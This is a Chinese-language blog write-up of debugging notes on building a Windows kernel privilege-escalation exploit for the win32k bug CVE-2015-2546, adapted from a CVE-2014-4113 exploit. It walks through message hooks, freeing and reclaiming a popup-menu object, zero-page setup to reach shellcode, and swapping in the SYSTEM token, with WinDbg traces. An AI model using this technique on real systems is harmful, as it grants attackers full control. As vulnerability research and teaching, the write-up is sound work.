经典内核漏洞调试笔记之二
本文来源：安全客
作者：k0pwn_ko
上篇回顾：http://paper.seebug.org/102/
前言
上一次我发了一篇自己在一个经典内核漏洞CVE-2014-4113中挣扎的经历，以及一些调试细节的分享： 经典内核漏洞调试笔记 （原文链接：http://bobao.360.cn/learning/detail/3170.html）
总结过后感觉自己收获很多，后来一个偶然的机会，我看到了百度安全实验室发的一篇文章，是关于另一个经典的内核漏洞，也就是今天的主角----CVE-2015-2546这个漏洞的从补丁对比到Exploit的分析
同样感觉收获满满，在这篇分析中，总结了漏洞的成因，以及构造还原的手法，受益匪浅，但是并没有提供Exploit，于是根据这篇分析，我尝试编写了一下Exploit，这一次真的是非常艰辛，一边逆向调试，一边编写Exploit，磕磕绊绊完成了这个漏洞的利用，但和我的上一篇分析一样，在调试过程中，有好多非常有意思的过程，所以总结了一下，拿出来和大家一起分享。
下面开始我这只小菜鸟的提权之旅。
从CVE-2014-4113到CVE-2015-2546
首先我来描述一下这个漏洞的过程：在创建弹出菜单之后，当进行鼠标操作的时候会触发鼠标事件，引发win32k.sys下的一个叫做MNMouseMove的函数，在这个函数的处理过程中会涉及到一个叫做MNHideNextHierarchy的函数，这个函数会传入一个参数，这个参数是一个名为tagPOPUPMENU的结构体对象，由于对于这个对象没有进行检查，导致可以通过前面的SendMessage异步的方法，使用将这个对象释放掉，然后使用一个fake_tag进行占位，从而将这个fake_tag传入MNHideNextHierarchy，在这个函数中会处理一个1E4消息，在这里由于fake_tag的关系，导致释放后重用，从而引发在Ring0层执行Shellcode，最后完成提权。
第一次看到这个漏洞的时候，我就觉得这个利用的过程和CVE-2014-4113非常相像，都是在SendMessage中完成的利用，也就是利用的call [esi+60h]这个汇编指令。
要想触发这个漏洞，首先要想办法执行到MNMouseMove，我们一起来分析一下从哪里能够执行到MNMouseMove。
这个过程是不是非常熟悉，从TrackPopupMenuEx到MNLoop，到HandleMenuMessages，最后到MNMouseMove。我们上一篇调试CVE-2014-4113就是这个过程，上一个漏洞发生在HandleMenuMessage中，而CVE-2015-2546发生在HandleMenuMessages里面的另一个调用，那么我就产生了一个想法，CVE-2014-4113的Exploit我们是否能在这个漏洞里使用呢？（事后证明，想的容易，做起来难，不过过程很有意思。）我们就从CVE-2014-4113这个Exploit入手，来完成CVE-2015-2546的提权。
和内核对抗的日子
首先我们来看一下CVE-2014-4113和CVE-2015-2546有多少关系，相关内容，可以看一下注释。
if ( v5 > 0x104 ) { if ( v5 > 0x202 ) { …… } …… if ( v20 ) { v21 = v20 - 1; if ( v21 ) { …… v13 = xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, (int)v7); v52 = IsMFMWFPWindow(v13); if ( v52 ) …… if ( v13 == -1 ) xxxMNButtonDown((PVOID)v3, v12, UnicodeString, 1); else xxxSendMessage((PVOID)v13, -19, UnicodeString, 0);// CVE -2014-4113的漏洞位置 if ( !(*(_DWORD *)(v12 + 4) & 0x100) ) xxxMNRemoveMessage(*(_DWORD *)(a1 + 4), 516); } return 0; } goto LABEL_59; } …… LABEL_59: …… xxxMNMouseMove(v3, a2, (int)v7); // CVE-2015-2546漏洞位置 return 1; } }
可以看到，两个漏洞的位置都处于HandleMenuMessages的函数中，经过CVE-2014-4113的分析，我们发现这个过程需要通过调用PostMessage的函数，这涉及到对窗口的操作，在CVE-2014-4113中，通过WNDCLASS类中的lpfnWndProc定义了回调函数MyWndProc负责处理窗口函数，这里使用的PostMessage的方法。
这样的话，为了使程序执行到MNMouseMove，我需要设定一个鼠标事件，这里的灵感来源于百度实验室的分析文章，所以我考虑使用。
//WM_SYSCOMMAND处理消息 PostMessage(hwnd,WM_SYSCOMMAND,0,0);//发送WM_SYSCOMMAND //鼠标事件 PostMessage(hwnd,WM_LBUTTONDOWN,0,0);//鼠标左键按下 PostMessage(hwnd,WM_LBUTTONUP,0,0);//鼠标左键抬起
但是经过调试，我发现无论如何也到达不了调试位置，这样我需要考虑为何无法到达调试位置，在分析的过程中发现了一个有趣的事情，首先，在CVE-2014-4113中，使用TrackPopupMenu会创建一个弹出窗口菜单。
但是，当修改了MyWndProc变成我们设定的事件之后，窗口菜单弹出后就没有后续动作了，也就是说，没有进入MNMouseMove的处理过程，但是当我把鼠标挪到上图的菜单中时，我们首先命中了HandleMenuMessages断点，紧接着命中了MNMouseMove。
kd> g Breakpoint 6 hit win32k!xxxHandleMenuMessages: 90668d78 8bff mov edi,edi kd> g Breakpoint 4 hit win32k!xxxMNMouseMove: 906693ef 8bff mov edi,edi
这说明在鼠标挪上去后在HandleMenuMessages中发生的事情能够使程序最后进入MNMouseMove，分析一下这个过程。
kd> p win32k!xxxHandleMenuMessages+0x1b: 90668d93 8b7508 mov esi,dword ptr [ebp+8] kd> p win32k!xxxHandleMenuMessages+0x1e: 90668d96 8b4604 mov eax,dword ptr [esi+4] kd> p win32k!xxxHandleMenuMessages+0x21: 90668d99 8b5608 mov edx,dword ptr [esi+8] kd> r eax eax=00000200
可以发现，程序进入后，会传递一个值0x200，这个值会在随后的过程中连续传递并且判断并且跳转，这个过程不再详细跟踪，举两个跳转的例子。
//一处跳转，0x200和0x104作比较 kd> p win32k!xxxHandleMenuMessages+0x2f: 90668da7 895dfc mov dword ptr [ebp-4],ebx kd> p win32k!xxxHandleMenuMessages+0x32: 90668daa 3bc1 cmp eax,ecx kd> r eax eax=00000200 kd> r ecx ecx=00000104 kd> p win32k!xxxHandleMenuMessages+0x34: 90668dac 0f87e4010000 ja win32k!xxxHandleMenuMessages+0x21d (90668f96) //另一处跳转，0x200和0x202作比较 kd> p win32k!xxxHandleMenuMessages+0x21d: 90668f96 b902020000 mov ecx,202h kd> p win32k!xxxHandleMenuMessages+0x222: 90668f9b 3bc1 cmp eax,ecx kd> p win32k!xxxHandleMenuMessages+0x224: 90668f9d 0f8706010000 ja win32k!xxxHandleMenuMessages+0x330 (906690a9)
这时我们看一下我这篇文章开头提到的HandleMenuMessages函数的分析，在开头有两处if语句判断，正是和这两个值做的比较，接下来经过一系列判断跳转之后，我们就到达了MNMouseMove的调用。
kd> p win32k!xxxHandleMenuMessages+0x264: 90668fdd a900040000 test eax,400h kd> p win32k!xxxHandleMenuMessages+0x269: 90668fe2 747a je win32k!xxxHandleMenuMessages+0x2e5 (9066905e) kd> p win32k!xxxHandleMenuMessages+0x2e5: 9066905e 53 push ebx
9066905e地址所处的位置，已经是MNMouseMove的上方，ebx正在作为MNMouseMove的参数传入栈中。
.text:BF93905E ; 395: xxxMNMouseMove(v3, a2, (int)v7); .text:BF93905E push ebx ; int .text:BF93905F push esi ; int .text:BF939060 push edi ; UnicodeString .text:BF939061 call _xxxMNMouseMove@12 ; xxxMNMouseMove(x,x,x)
也就是说，之前传入的这个eax是一个很关键的值，如果弄明白这个值，就可以让程序成功执行到MNMouseMove了，但因为这个过程实际上是通过Windows下的图形界面操作（也就是鼠标在我们创建的主窗口移动产生的），所以我们并不能通过CVE-2014-4113的源码分析出来，这里需要分析一下这个值得内容，这时我想到了CVE-2014-4113源程序，同样也是在HandleMenuMessages进行if语句的判断导致跳转，而CVE-2014-4113已经分析的很清楚了，运行CVE-2014-4113的源程序，中断在HandleMenuMessage调试。
kd> p win32k!xxxHandleMenuMessages+0x19: 90668d91 53 push ebx kd> p win32k!xxxHandleMenuMessages+0x1a: 90668d92 56 push esi kd> p win32k!xxxHandleMenuMessages+0x1b: 90668d93 8b7508 mov esi,dword ptr [ebp+8] kd> p win32k!xxxHandleMenuMessages+0x1e: 90668d96 8b4604 mov eax,dword ptr [esi+4] kd> p win32k!xxxHandleMenuMessages+0x21: 90668d99 8b5608 mov edx,dword ptr [esi+8] kd> r eax eax=00000201 kd> dd esi 85c4bb0c 000f02a2 00000201 00000000 00000000
可以看到这里eax的值是0x201（刚才那个是0x200），也就是十进制的513，来看一下CVE-2014-4113里的过程，计算一下。
v20 = v5 - 261; if ( v20 ) { v21 = v20 - 1; if ( v21 ) { v22 = v21 - 18; if ( !v22 ) return 1; v23 = v22 - 232; if ( v23 ) { if ( v23 == 1 ) { LABEL_13: v12 = a2; *(_DWORD *)(a2 + 16) = -1; *(_DWORD *)(a2 + 8) = (signed __int16)v7; *(_DWORD *)(a2 + 12) = SHIWORD(v7); v13 = xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, (int)v7); v52 = IsMFMWFPWindow(v13);
这里要计算最后v23的值，就从最上方v20的值开始向下判断，也就是v23=513-261-1-18-232=1，正好v23等于1，从而进入下面CVE-2014-4113的处理逻辑。v5的值，就是0x201，也就是513，那么这个值到底是什么呢，我们来查一下这个值。
public enum WMessages : int { WM_LBUTTONDOWN = 0x201, //Left mousebutton down WM_LBUTTONUP = 0x202, //Left mousebutton up WM_LBUTTONDBLCLK = 0x203, //Left mousebutton doubleclick WM_RBUTTONDOWN = 0x204, //Right mousebutton down WM_RBUTTONUP = 0x205, //Right mousebutton up WM_RBUTTONDBLCLK = 0x206, //Right mousebutton doubleclick WM_KEYDOWN = 0x100, //Key down WM_KEYUP = 0x101, //Key up }
原来这个值就是WM_LBUTTONDOWN的值，正是CVE-2014-4113利用程序中MyWndProc中其中第三个PostMessage中调用到的第二个参数值，所以，我在这里，将我的Exploit中的PostMessage里第二个参数直接修改成0x200，重新运行程序，终于命中了MNMouseMove断点。接下来可以进入内层函数分析了。
原来这个值就是WM_LBUTTONDOWN的值，正是CVE-2014-4113利用程序中MyWndProc中其中第三个PostMessage中调用到的第二个参数值，所以，我在这里，将我的Exploit中的PostMessage里第二个参数直接修改成0x200，重新运行程序，终于命中了MNMouseMove断点。接下来可以进入内层函数分析了。
kd> p win32k!xxxMNMouseMove+0x2f: 9066941e 0f846f010000 je win32k!xxxMNMouseMove+0x1a4 (90669593) kd> p win32k!xxxMNMouseMove+0x1a4: 90669593 5f pop edi
来看一下IDA pro的伪代码。
if ( (signed __int16)a3 != *(_DWORD *)(a2 + 8) || SHIWORD(a3) != *(_DWORD *)(a2 + 12) ) {
只有上面伪代码中的if语句判断通过后，才能进入到漏洞的处理流程，动态跟踪一下这个过程。
kd> p win32k!xxxMNMouseMove+0x26: 90669415 c1ea10 shr edx,10h kd> r edx edx=00000000 kd> p win32k!xxxMNMouseMove+0x29: 90669418 0fbfd2 movsx edx,dx kd> r edx edx=00000000 kd> p win32k!xxxMNMouseMove+0x2c: 9066941b 3b570c cmp edx,dword ptr [edi+0Ch]
这最主要的原因就是对比的两个值都为0，从而不满足if语句的跳转，跳过了漏洞处理所需的逻辑流程，但是在我们利用鼠标移动的时候，却发现这个流程可以进入if语句判断。
kd> p win32k!xxxHandleMenuMessages+0x2e8: 90669061 e889030000 call win32k!xxxMNMouseMove (906693ef) kd> dd esp 85c47a98 fde8da68 9074f580 000f0059 9074f580 //000f0059 kd> p win32k!xxxMNMouseMove+0x18: 90669407 0fbfc1 movsx eax,cx kd> r ecx ecx=000f0059 kd> p win32k!xxxMNMouseMove+0x1b: 9066940a 57 push edi kd> p win32k!xxxMNMouseMove+0x1c: 9066940b 8b7d0c mov edi,dword ptr [ebp+0Ch] kd> p win32k!xxxMNMouseMove+0x1f: 9066940e 3b4708 cmp eax,dword ptr [edi+8] kd> p win32k!xxxMNMouseMove+0x22: 90669411 7511 jne win32k!xxxMNMouseMove+0x35 (90669424) kd> p win32k!xxxMNMouseMove+0x35: 90669424 894708 mov dword ptr [edi+8],eax kd> r eax eax=00000059
鼠标移动的情况下，eax的值是0x59，并非0x00，那么这个值从哪里来呢，在进入MNMouseMove前看一下参数。
kd> p win32k!xxxHandleMenuMessages+0x2e8: 90669061 e889030000 call win32k!xxxMNMouseMove (906693ef) kd> dd esp 85c47a98 fde8da68 9074f580 000f0059 9074f580
通过IDA pro分析一下HandleMenuMessages函数，看看这个值是从哪里来。
v5 = *(_DWORD *)(a1 + 4); v6 = *(_DWORD *)(a1 + 8); v7 = *(void **)(a1 + 12); xxxMNMouseMove(v3, a2, (int)v7);
是a1，也就是HandleMenuMessages的第一个参数，这样我们可以回到CVE-2014-4113中，在调用HandleMenuMessages的时候，直接查看第一个参数偏移+0Ch位置的值，看看这个值是不是由我们决定的。
kd> p win32k!xxxHandleMenuMessages+0x1e: 90668d96 8b4604 mov eax,dword ptr [esi+4] kd> p win32k!xxxHandleMenuMessages+0x21: 90668d99 8b5608 mov edx,dword ptr [esi+8] kd> p win32k!xxxHandleMenuMessages+0x24: 90668d9c 8b5e0c mov ebx,dword ptr [esi+0Ch] kd> r edx edx=00000000 kd> p win32k!xxxHandleMenuMessages+0x27: 90668d9f b904010000 mov ecx,104h kd> r ebx ebx=00000000 kd> r eax eax=00000201
可以看到ebx寄存器是esi+0ch的值，这个值是0，eax的值是0x201，回过头看一下正常Exploit中MyWndProc函数的PostMessages的参数调用。
PostMessage(hwnd,WM_LBUTTONDOWN,0x00,0)
这个第三个第四个特定参数都是0x00，那么我觉得这个可能和MNMouseMove中的值有关，于是我尝试修改了CVE-2015-2546中PostMessage消息传递的特定参数。
修改之后，我们重新跟踪调试。
kd> p win32k!xxxHandleMenuMessages+0x21: 90668d99 8b5608 mov edx,dword ptr [esi+8] kd> p win32k!xxxHandleMenuMessages+0x24: 90668d9c 8b5e0c mov ebx,dword ptr [esi+0Ch] kd> p win32k!xxxHandleMenuMessages+0x27: 90668d9f b904010000 mov ecx,104h kd> r edx edx=00110011 kd> r ebx ebx=00110011
果然这个值可控了，而且esi指针的值就+4h是PostMessage第二个参数，+08h是第三个参数，+0Ch是第四个参数，接下来，MNMouseMove也能够正常进入if语句的处理流程了。
kd> p win32k!xxxHandleMenuMessages+0x2e8: 90669061 e889030000 call win32k!xxxMNMouseMove (906693ef) kd> dd esp 85d07a98 fde8da68 9074f580 00110011 9074f580 kd> p win32k!xxxMNMouseMove+0x1f: 9066940e 3b4708 cmp eax,dword ptr [edi+8] kd> p win32k!xxxMNMouseMove+0x22: 90669411 7511 jne win32k!xxxMNMouseMove+0x35 (90669424) kd> r eax eax=00000011 kd> p win32k!xxxMNMouseMove+0x35: 90669424 894708 mov dword ptr [edi+8],eax
在HOOK中挣扎和Exploit
接下来，进入到消息钩子部分，主要处理的还是SendMessage异步处理时的消息，通过修改返回，最后达到漏洞调用位置，通过IDA pro来跟踪一下MNMouseMove的执行流程，以及跟CVE-2015-2546有关的部分。
void __stdcall xxxMNMouseMove(WCHAR UnicodeString, int a2, int a3) { …… if ( (signed __int16)a3 != *(_DWORD *)(a2 + 8) || SHIWORD(a3) != *(_DWORD *)(a2 + 12) ) { *(_DWORD *)(a2 + 8) = (signed __int16)a3; *(_DWORD *)(v5 + 12) = SHIWORD(v4); v6 = xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, v4);// V6通过HOOK可控，这里的sendmessage是异步处理 v7 = v6; // v7可控 …… if ( *(_DWORD *)(v5 + 16) == 1 ) // 这个外层if不一定会进来 { if ( !v7 || v7 == -1 && *(_BYTE *)(*(_DWORD *)(v3 + 4) + 35) & 0x20 )// 判断返回值是0或者-1 return; *(_DWORD *)(v5 + 16) = -1; } if ( v7 == -5 ) // 当返回值是0xffffffb { …… } else // 否则进入这里 { …… v9 = *(_DWORD **)(v7 + 176); // 获取tagPOPUPMENU的位置，偏移是+0B0h …… v10 = xxxSendMessage((PVOID)v7, -27, UnicodeString, 0); if ( v10 & 0x10 && !(v10 & 3) && !xxxSendMessage((PVOID)v7, -16, 0, 0) ) xxxMNHideNextHierarchy(v9); // 漏洞触发关键位置
经过分析，我们需要处理三处SendMessage的异步过程，第一处在FindWindowFromPoint，这个函数中会有一处SendMessage，通过异步过程执行钩子，但是我调试时发现在进入这个函数返回，但并没有执行钩子。
kd> p win32k!xxxMNMouseMove+0x48: 90669437 e862010000 call win32k!xxxMNFindWindowFromPoint (9066959e) kd> p win32k!xxxMNMouseMove+0x4d: 9066943c f7470400800000 test dword ptr [edi+4],8000h kd> r eax eax=fea11430 跟踪一下这个过程，我发现在进入SendMessage之前，有一处if语句判断，当这个if语句判断不通过的时候，不会进入SendMessage处理。 kd> p win32k!xxxMNFindWindowFromPoint+0x14: 906695b2 8b470c mov eax,dword ptr [edi+0Ch] kd> p win32k!xxxMNFindWindowFromPoint+0x17: 906695b5 85c0 test eax,eax kd> p win32k!xxxMNFindWindowFromPoint+0x19: 906695b7 746b je win32k!xxxMNFindWindowFromPoint+0x86 (90669624) kd> p win32k!xxxMNFindWindowFromPoint+0x86: 90669624 8b07 mov eax,dword ptr [edi] kd> dd edi fde8da68 12a10008 fea38d58 fea11430 00000000
可以看到这里eax的值是edi+0ch对应的值，也就是0，对应伪代码v5变量值为0，也就是if语句判断没通过，跳转了。这样我们还需要重新看一下这个值，这个值来自于tagPopupMenu结构体，通过CVE-2014-4113和CVE-2015-2546的tagPopupMenu结构体做一个对比。
kd> dt tagPOPUPMENU fde8da68//我们的Exploit中的结构体 +0x004 spwndNotify : 0xfea38d58 tagWND +0x008 spwndPopupMenu : 0xfea11430 tagWND +0x00c spwndNextPopup : (null) kd> dt fde8da68 tagPOPUPMENU//CVE-2014-4113的结构体 +0x004 spwndNotify : 0xfea39de8 tagWND +0x008 spwndPopupMenu : 0xfea12398 tagWND +0x00c spwndNextPopup : 0xfea12578 tagWND
实际上，在通过TrackPopupMenu之后会调用MNLoop进入循环处理消息，而我们的exp中只有一个postmessage，于是我们增加到三个postmessage，再次调试跟踪。
kd> p win32k!xxxHandleMenuMessages+0x2e7: 90669060 57 push edi kd> p win32k!xxxHandleMenuMessages+0x2e8: 90669061 e889030000 call win32k!xxxMNMouseMove (906693ef) kd> r edi edi=fde8da68 +0x004 spwndNotify : 0xfea39d18 tagWND +0x008 spwndPopupMenu : 0xfea11430 tagWND +0x00c spwndNextPopup : 0xfea12698 tagWND
这样，我们就能够处理了，接下来利用三个钩子，分别处理三种消息的调用，这个调用过程和CVE-2014-4113相比差别还是比较大的。需要来看一下最关键的钩子该怎么用。首先我们要分析一下和漏洞利用最关键的函数xxxMNHideNextHierarchy，这个函数有一个参数。
signed int __stdcall xxxMNHideNextHierarchy(int a1) v1 = *(_DWORD *)(a1 + 12); if ( v1 ) { v2 = *(void **)(a1 + 12); if ( v2 != *(void **)(a1 + 28) ) xxxSendMessage(v2, -28, 0, 0);//这里调用shellcode提权
这个参数a1直接影响到后面的提权，回到外层看一下这个a1从哪里来。
v6 = xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, v4);// V6通过HOOK可控，这里的sendmessage是异步处理 v7 = v6; // v7可控 …… v9 = *(_DWORD **)(v7 + 176); // 获取tagPOPUPMENU的位置，偏移是+0B0h if ( v10 & 0x10 && !(v10 & 3) && !xxxSendMessage((PVOID)v7, -16, 0, 0) ) xxxMNHideNextHierarchy((int)v9); // 漏洞触发关键位置
正是从MNFindWindowFromPoint而来，本来是一次轻松愉快的旅程，但是实际上在逻辑代码中，有一个地方导致了这次旅程血崩，就是：
if ( IsWindowBeingDestroyed(v7) ) return;
这个地方会对窗口的属性进行检查，也就是说，v7不能是一个任意值，比如是我们直接通过零页分配的shellcode的某个地址指针，如果可以的话，后面就会导致其他的利用了，因此这个值必须是一个窗口的值，因此我们用一种方法：
就是创建窗口A和窗口B，在这里通过异步调用，返回窗口B的值，这样后续处理中，就会将窗口B的tagMenu偏移+0B0h位置的值，也就是tagPopupMenu交给v9，那么随后在最后一个SendMessage中销毁窗口B，通过一些方法将销毁后的位置占位，因为后面没有进行判断，从而可以调用占位后的值。而通过分析xxxMNHideNextHierarchy，内层函数用的是tagPopupMenu->spwndNextPopup，因此，只要在占位时再控制这个值，为一个我们可控的值，最后就能在xxxMNHideNextHierarchy里的sendmessage完成最后一步提权了。
有了这个思路，我们开始利用钩子来完成这个过程。第一步，在FindWindowFromMessage函数调用中，处理1EB消息，这个和CVE-2014-4113很像。
90669437 e862010000 call win32k!xxxMNFindWindowFromPoint (9066959e) win32k!xxxMNMouseMove+0x4d: 9066943c f7470400800000 test dword ptr [edi+4],8000h kd> r eax eax=fea396d0
第一步钩子会返回窗口B的值，这样，也能绕过IsDestroy的判断，随后进入第二步处理，第二步处理的值，是1E5的消息，这个消息返回后会将返回值和0x10做一个判断。
xor edi, edi push edi ; Address push dword ptr [ebp+UnicodeString] ; UnicodeString push 1E5h ; MbString push esi ; P call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x) ; 67: if ( v10 & 0x10 && !(v10 & 3) && !xxxSendMessage((PVOID)v7, -16, 0, 0) ) test al, 10h jz short loc_BF939583
这样我们控制钩子令返回值为0x10就可以了。
kd> p win32k!xxxMNMouseMove+0x134: 90669523 e87500f8ff call win32k!xxxSendMessage (905e959d) kd> g Breakpoint 16 hit win32k!xxxMNMouseMove+0x139: 90669528 a810 test al,10h kd> r eax eax=00000010 kd> p win32k!xxxMNMouseMove+0x13b: 9066952a 7457 je win32k!xxxMNMouseMove+0x194 (90669583)
第三步处理1F0的消息，这一步很关键，会调用SendMessage，在这一步的钩子中对窗口B进行销毁，销毁后占位，由于这一步是在一个if语句里，因此需要返回值为0，才能通过非的判断。
.text:BF939530 push edi ; Address .text:BF939531 push edi ; UnicodeString .text:BF939532 push 1F0h ; MbString .text:BF939537 push esi ; P .text:BF939538 call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x) .text:BF93953D test eax, eax .text:BF93953F jnz short loc_BF939583 .text:BF939541 ; 68: xxxMNHideNextHierarchy(v9); // 漏洞触发关键位置
这样的话，我们销毁窗口，并且进行占位
kd> p Breakpoint 17 hit win32k!xxxMNMouseMove+0x14e: 9066953d 85c0 test eax,eax kd> p win32k!xxxMNMouseMove+0x150: 9066953f 7542 jne win32k!xxxMNMouseMove+0x194 (90669583) kd> r eax eax=00000000 kd> p win32k!xxxMNMouseMove+0x152: 90669541 53 push ebx
最后占位后就是处理后的ebx了，这时候我们对ebx后的值也很有讲究，ebx+0Ch的值就是我们最后要调用到的值，这个值刚开始我想是直接按照CVE-2014-4113中的值一样定义成0xfffffffb，但是后来发现，在HideNextHierarchy函数中会将这个值自加进行一个赋值。
kd> p win32k!xxxMNHideNextHierarchy+0x2c: 90648efa ff4004 inc dword ptr [eax+4] kd> dd eax ffffffff ???????? fe7d2179 00000000 00000000
因此，如果eax的值是0xfffffffb的话，加4之后就是0xffffffff，仍然是个无效地址，这个无效地址自加会导致系统异常，因此，我把eax的值设为0xffffffff，这样同样需要重新分配0页内存。
kd> p win32k!xxxMNHideNextHierarchy+0x9: 90648ed7 8b7508 mov esi,dword ptr [ebp+8] kd> p win32k!xxxMNHideNextHierarchy+0xc: 90648eda 8b460c mov eax,dword ptr [esi+0Ch] kd> p win32k!xxxMNHideNextHierarchy+0xf: 90648edd 85c0 test eax,eax kd> r eax eax=ffffffff
这样就绕过了最后一层判断，最后到达1E4的消息调用，这个地方传递的值就已经是0xffffffff了。
kd> p win32k!xxxMNHideNextHierarchy+0x37: 90648f05 6a00 push 0 kd> p win32k!xxxMNHideNextHierarchy+0x39: 90648f07 6a00 push 0 kd> p win32k!xxxMNHideNextHierarchy+0x3b: 90648f09 68e4010000 push 1E4h kd> p win32k!xxxMNHideNextHierarchy+0x40: 90648f0e 50 push eax kd> r @eax=ffffffff kd> p win32k!xxxMNHideNextHierarchy+0x41: 90648f0f e88906faff call win32k!xxxSendMessage (905e959d) kd> dd esp 92dd3a3c ffffffff 000001e4 00000000 00000000
接下来向内层继续传递，和CVE-2014-4113的利用过程就基本一致了。
kd> p win32k!xxxSendMessage+0x23: 905e95c0 e882fdffff call win32k!xxxSendMessageTimeout (905e9347) kd> dd esp 92dd3a14 ffffffff 000001e4 00000000 00000000
最后，执行到shellcode
kd> p win32k!xxxSendMessageTimeout+0x1a9: 905e94f0 ff5660 call dword ptr [esi+60h] kd> r esi esi=ffffffff kd> dd esi+60 0000005f 00371410 00000000 00000000 00000000 kd> p Breakpoint 6 hit 00371410 55 push ebp
下一个写入断点
kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
PROCESS 841bdab0 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 00185000 ObjectTable: 87c01be8 HandleCount: 490.
Image: System
PROCESS 845da8a8 SessionId: 1 Cid: 0ddc Peb: 7ffdf000 ParentCid: 0cf8
DirBase: 3f321500 ObjectTable: 95b440f0 HandleCount: 28.
Image: EoP_1.exe
kd> dd 845da8a8+f8
845da9a0 86094613 000078da 00000000 00000000原进程token
shellcode进行替换
kd> dd 845da8a8+f8 //提权Token
845da9a0 87c01337 000078da 00000000 00000000
kd> dd 841bdab0+f8 //系统Token
841bdba8 87c01337 00000000 00000000 00000000
现在是system的token了，最后放一个提权后的截图
后记
这个漏洞总体来说可以算是CVE-2014-4113的进阶，和内核较劲的过程非常有意思，一步步的思考和绕过，让我想起以前膜拜大牛们过狗的案例中一步步bypass的过程，实际上二进制也是一样。
那么这篇文章也写到这里，希望大牛们多多批评指正，也希望大家也都能有所收获，谢谢！